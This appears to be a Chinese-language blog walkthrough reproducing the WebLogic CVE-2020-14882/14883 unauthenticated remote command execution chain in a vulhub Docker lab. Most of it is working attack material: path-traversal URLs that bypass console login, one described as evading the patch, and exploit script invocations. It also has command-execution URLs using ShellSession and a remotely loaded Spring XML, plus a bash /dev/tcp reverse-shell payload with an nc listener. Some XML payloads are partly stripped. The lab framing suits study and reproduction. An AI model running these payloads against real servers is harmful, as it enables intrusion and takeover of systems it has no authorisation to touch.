Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883

漏洞名称

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883

漏洞描述

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)。

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身 份执行命令。

受影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

一、环境搭建

Weblogic未授权访问漏洞-CVE-2020-14882

使用vulhub靶场

git clone https://github.com/vulhub/vulhub.git    #vulhuba靶场下载

1.cd vulhub/weblogic/CVE-2020-14882  

2.docker-compose up -d     #启动环境

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第1张图片

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第2张图片

查看是否搭建成功

访问 http://your-IP:7001/console

出现此界面,表示搭建成功

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第3张图片

二、绕过后台登录

权限漏洞绕过,主要的POC如下:

/console/images/%252E%252E%252Fconsole.portal

/console/css/%25%32%65%25%32%65%25%32%66console.portal

大写换成小写可绕过补丁:

/console/css/%252e%252e%252fconsole.portal

绕过后台登录

http://your-ip:7001/console/images/%252E%252E%252Fconsole.portal

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第4张图片

 访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。

三、脚本利用

脚本地址:  https://github.com/backlion/CVE-2020-14882_ALL

命令回显:  python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "whoami"

                     python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "ls"

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第5张图片

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第6张图片

外置xml文件无回显命令执行

Linux反弹shell为例,编辑poc.xml文件

命令:touch  poc.xml

当前目录新建poc.xml

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第7张图片

写入以下代码:


 
   
     
    /bin/bash
        -c
        & /dev/tcp/xxx.xxx.xxx.xxx/xxxx  0>&1]]>
     

   

 

注意:上面反弹的地址是your-IP地址和任意端口

在当前目录执行以下命令,服务器就在当前目录

python3 -m http.server      #开启新的服务器

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第8张图片Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第9张图片

通过脚本执行命令:

python3 CVE-2020-14882_ALL.py -u http://172.16.115.130:7001/ -x http://172.16.115.130:8000/poc.xml

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第10张图片

 打开监听

nc -lvvp 2023

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第11张图片

weblogic远程命令执行(CVE-2020-14883)

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用CVE-2020-14882  环境复现

这个漏洞一共有两种利用方法:

第一种方法是通过:com.tangosol.coherence.mvel2.sh.ShellSession

执行命令:

http://172.16.115.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/abcde');")

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第12张图片

docker  exec -it  容器ID /bin/bash   #查看是否创建成功

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第13张图片

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类

第二种方法:

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

#开启一个服务器

python3 -m http.server

#新建qwe.xml文件,写入以下内容,并保存至刚开启的服务器上


    
        
          
            bash
            -c
            
          
        
    

#然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://172.17.0.1:7001/console/css/%252e%252e%252fconsole.portal?

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.115.130/qwe.xml")

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第14张图片

进入容器查看是否创建成功:

docker exec -it 容器id /bin/bash

Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883_第15张图片

参考链接:

https://blog.csdn.net/qq_32731075/article/details/117673410

http://luckysec.cn/posts/b52ee26f.html

如有问题,欢迎留言。

你可能感兴趣的:(漏洞复现,安全)